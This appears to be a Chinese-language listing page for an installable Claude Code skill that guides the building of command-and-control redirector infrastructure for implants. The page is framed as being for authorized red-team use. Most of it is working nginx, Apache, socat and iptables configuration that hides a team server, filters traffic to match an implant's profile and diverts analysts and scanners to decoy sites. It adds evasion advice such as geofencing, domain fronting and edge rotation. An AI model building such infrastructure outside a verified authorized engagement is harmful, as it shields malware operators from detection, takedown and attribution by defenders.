mcpField
B
building-c2-redirector-infrastructure

building-c2-redirector-infrastructure

github.com/mukul975安全35.2k100 次安装8 周前更新
代码仓库

关于 building-c2-redirector-infrastructure

用于授权红队演练和防御研究的 C2 重定向基础设施配置技能,涵盖流量过滤、TLS、诱饵转发,以及公网边缘与隐藏团队服务器的隔离。

主要功能

  1. 01透明转发流量
  2. 02nginx 和 Apache 过滤
  3. 03根据 Malleable C2 配置生成规则
  4. 04使用 Let's Encrypt 配置 TLS
  5. 05诱饵转发与 OPSEC 控制

适用场景

  1. 01隔离团队服务器与公网主机
  2. 02在演练中筛选符合配置的流量
  3. 03将不匹配的请求转到诱饵站点
  4. 04帮助防御人员了解外部代理 C2

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill building-c2-redirector-infrastructure

安装后在 Claude Code 中输入/building-c2-redirector-infrastructure确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

LICENSE
references/
api-reference.md
standards.md
scripts/
agent.py

详细介绍

构建 C2 重定向器基础设施

仅限授权使用: 本技能仅用于授权的红队行动、对手模拟演练和防御研究。命令与控制基础设施具有两用性质;在你未获明确授权测试的系统上部署重定向器以控制恶意软件是违法的。只能在商定的范围内、凭借已签署的交战规则文档开展行动,并在行动结束后下线相关基础设施。

概述

C2 重定向器是位于受害者植入物与真实团队服务器之间的中间主机。Beacon 连接到重定向器的公共域名/IP;重定向器检查每个请求,要么将合法的 C2 流量代理回隐藏的团队服务器,要么把所有其他流量(扫描器、蓝队分析师、沙箱)转移到无害的诱饵站点。这可以保护团队服务器免遭发现、下线以及归因,并让操作者无需重建后端即可轮换公共边缘。该技术对应 MITRE ATT&CK T1090.002(Proxy: External Proxy)——对手通过中间节点路由 C2,以掩盖真实来源。

重定向器有两种形式。哑管道(socat、iptables NAT)盲目转发端口,提供了隔离但不做过滤。智能/过滤型重定向器(nginx proxy_pass、带 [P] 的 Apache mod_rewrite,或 RedWarden 之类的专用工具)解析 HTTP 请求,只转发与植入物 Malleable C2 profile 匹配的流量——正确的 URI、User-Agent、headers——同时把其他一切以 302 发送到一个真实网站。过滤逻辑直接派生自 C2 框架的流量 profile,因此二者必须保持严格同步。诸如 cs2modrewrite 之类的工具可以从 Cobalt Strike Malleable C2 profile 自动生成 Apache/nginx 规则。

本技能涵盖使用 nginx 和 Apache 构建哑管道与过滤型重定向器、从 malleable profile 派生过滤规则、使用 Let's Encrypt 叠加 TLS,以及应用 OPSEC 控制(已分类域名、域前置/CDN 前置、header 校验、地理/UA 过滤)以构建具有韧性、低归因的基础设施。

何时使用

  • 搭建必须经受蓝队分诊和域名下架请求的红队 C2。
  • 在行动期间将隐藏的团队服务器与任何面向互联网的主机分离。
  • 过滤植入物流量,使只有与 profile 匹配的请求到达后端,同时转移扫描器。
  • 为 HTTP(S) 监听器添加 TLS 终止、域名分类以及 CDN/域前置。
  • 教会防御者外部代理型 C2(T1090.002)是如何构建的,以便他们能够检测它。

前置条件

  • 一台或多台一次性云 VPS 实例(重定向器边缘),以及一台独立的、受防火墙保护的团队服务器主机。
  • 一个已注册且 DNS 可控的域名,最好是已老化/已分类的。
  • 在重定向器主机上拥有 root 权限。安装 Web 服务器和 TLS 工具:
    # Debian/Ubuntu redirector
    sudo apt update
    sudo apt install -y nginx apache2 socat certbot python3-certbot-nginx git
    # Enable Apache proxy modules if using mod_rewrite redirector
    sudo a2enmod rewrite proxy proxy_http ssl headers
    
  • C2 框架的 Malleable C2 profile(Cobalt Strike .profile、Sliver/Havoc HTTP profile),定义 URI、User-Agent 和 headers。
  • cs2modrewrite,用于从 Cobalt Strike profile 自动生成规则:
    git clone https://github.com/threatexpress/cs2modrewrite
    
  • 对团队服务器设置防火墙,使其在 C2 端口上只接受重定向器的源 IP。

目标

  • 部署哑管道重定向器(socat/iptables),实现快速端口隔离。
  • 部署与 malleable profile 对应的过滤型 nginx 反向代理重定向器。
  • 部署使用 [P] 代理和 302 诱饵回退的 Apache mod_rewrite 重定向器。
  • 使用 cs2modrewrite 从 Cobalt Strike profile 自动生成重定向器规则。
  • 使用 Let's Encrypt 终止 TLS,并加固公共边缘。
  • 应用 OPSEC:header/UA 校验、地理过滤、诱饵转移以及基础设施轮换。

MITRE ATT&CK 映射

技术 ID官方名称相关性
T1090.002代理:外部代理重定向器是一个外部中介,通过代理 C2 来隐藏 team server
T1090.004代理:域前置CDN 前置通过一个可信的高信誉域名路由 beacon 流量
T1071.001应用层协议:Web 协议C2 通过由 malleable profile 塑造的 HTTP/HTTPS 隧道传输
T1573.002加密通道:非对称加密在重定向器处终止 TLS 会加密 beacon 通道
T1583.006获取基础设施:Web 服务获取一次性 VPS/CDN 边缘节点以实现弹性 C2

工作流

1. 隔离并防火墙保护 team server

将 team server 放置在私有主机上。将其 C2 端口限制为仅允许重定向器的 IP 访问。

# On the team server: only the redirector (203.0.113.10) may reach 443/tcp
sudo ufw default deny incoming
sudo ufw allow from 203.0.113.10 to any port 443 proto tcp
sudo ufw allow OpenSSH
sudo ufw enable
2. 哑管道重定向器(socat / iptables)

若需快速隔离而不做过滤,将 C2 端口转发到 team server。

# socat foreground forward of 443 -> team server
socat TCP4-LISTEN:443,fork,reuseaddr TCP4:10.0.0.2:443

# Or iptables DNAT (persistent)
sysctl -w net.ipv4.ip_forward=1
iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 10.0.0.2:443
iptables -t nat -A POSTROUTING -p tcp -d 10.0.0.2 --dport 443 -j MASQUERADE
3. 过滤型 nginx 反向代理重定向器

仅代理 URI 与 malleable profile 匹配的请求;其余所有请求返回 302 到诱饵站点。将位置正则表达式和 User-Agent 替换为你的 profile 中的值。

# /etc/nginx/sites-available/redirector.conf
server {
    listen 443 ssl;
    server_name cdn.example.com;

    ssl_certificate     /etc/letsencrypt/live/cdn.example.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/cdn.example.com/privkey.pem;

    # Proxy ONLY profile-matching C2 URIs to the hidden team server
    location ~ ^/(api/v2/jobs|cm/[a-z0-9]+|push) {
        # Require the implant's exact User-Agent
        if ($http_user_agent != "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36") {
            return 302 https://www.legitimate-decoy.com/;
        }
        proxy_pass https://10.0.0.2;
        proxy_ssl_verify off;
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $remote_addr;
    }

    # Everything else -> benign decoy
    location / {
        return 302 https://www.legitimate-decoy.com/;
    }
}
sudo ln -s /etc/nginx/sites-available/redirector.conf /etc/nginx/sites-enabled/
sudo nginx -t && sudo systemctl reload nginx
4. Apache mod_rewrite 重定向器

Apache 的 [P] 标志会将匹配的请求代理到 team server;不匹配的请求则获得 302 重定向。这是 cs2modrewrite 生成的格式。

# /etc/apache2/sites-available/redirector.conf  (inside <VirtualHost *:443>)
RewriteEngine On
SSLProxyEngine On
# Require the implant User-Agent
RewriteCond %{HTTP_USER_AGENT} "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" [NC]
# Match valid C2 URIs (GET/POST/stager) from the malleable profile
RewriteCond %{REQUEST_URI} ^/(api/v2/jobs|cm/[a-z0-9]+|push)/?$
# Proxy to the hidden team server, preserving the URI
RewriteRule ^.*$ https://10.0.0.2%{REQUEST_URI} [P,L]
# Everything else -> decoy site
RewriteRule ^.*$ https://www.legitimate-decoy.com/ [R=302,L]
sudo a2ensite redirector && sudo apache2ctl configtest && sudo systemctl reload apache2
5. 从 malleable profile 生成规则

让 cs2modrewrite 直接根据你的 Cobalt Strike profile 构建 Apache 或 nginx 规则,使过滤器与 beacon 流量完全匹配。

cd cs2modrewrite
# Apache mod_rewrite rules
python3 cs2modrewrite.py -i havex.profile -c https://10.0.0.2 \
  -r https://www.legitimate-decoy.com -o /etc/apache2/redirect.rules
# nginx config
python3 cs2nginx.py -i havex.profile -c https://10.0.0.2 \
  -r https://www.legitimate-decoy.com -H cdn.example.com > /etc/nginx/sites-available/c2.conf
6. 使用 Let's Encrypt 终止 TLS

签发有效证书,使 beacon HTTPS 不会抛出 TLS 警告,并让边缘节点看起来合法。

sudo certbot --nginx -d cdn.example.com --agree-tos -m [email protected] --redirect
# Verify auto-renewal
sudo certbot renew --dry-run
7. 应用 OPSEC 控制措施

分层防御以对抗蓝队分析:验证标头、按目标国家/地区进行地理围栏、转移沙箱、轮换边缘节点。在支持的情况下考虑 CDN/域前置(T1090.004)。

# Example: drop non-target geographies at the firewall with ipset/GeoIP,
# require a custom auth header in the profile, and rotate the redirector
# domain/IP on a schedule. Check the redirector only forwards matched traffic:
curl -k https://cdn.example.com/                       # expect 302 to decoy
curl -k -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" \
  https://cdn.example.com/api/v2/jobs                  # expect proxied response

工具和资源

工具用途来源
nginx过滤型反向代理重定向器https://nginx.org/
Apache mod_rewrite[P] 代理 + 302 诱饵重定向器https://httpd.apache.org/docs/current/mod/mod_rewrite.html
cs2modrewrite从 CS profile 生成 Apache/nginx 规则https://github.com/threatexpress/cs2modrewrite
RedWarden感知 malleable 的过滤型 C2 反向代理https://github.com/mgeeky/RedWarden
redi自动化 nginx + Let's Encrypt CS 重定向器https://github.com/taherio/redi
socat哑管道 TCP 转发器http://www.dest-unreach.org/socat/
Let's Encrypt / certbot免费 TLS 证书https://certbot.eff.org/
ired.team红队基础设施参考https://www.ired.team/offensive-security/red-team-infrastructure

验证标准

  • Team server 已配置防火墙,仅接受重定向器源 IP 在 C2 端口上的访问。
  • 已部署重定向器(哑管道和/或过滤型反向代理)。
  • 过滤规则源自实际的 malleable C2 profile(URI + User-Agent + 标头)。
  • 不匹配的请求返回 302 到无害的诱饵站点(已用 curl 验证)。
  • 匹配的 beacon 请求被代理到隐藏的 team server(已用 curl 验证)。
  • 已签发有效 TLS 证书并确认自动续期。
  • 已应用 OPSEC 控制措施(UA/标头验证、地理围栏、诱饵转移)。
  • 在适用的情况下已考虑域名分类 / CDN 前置。
  • 已记录基础设施轮换和退役计划。
  • 所有活动均限于授权的交战范围内。

评论

支持 Markdown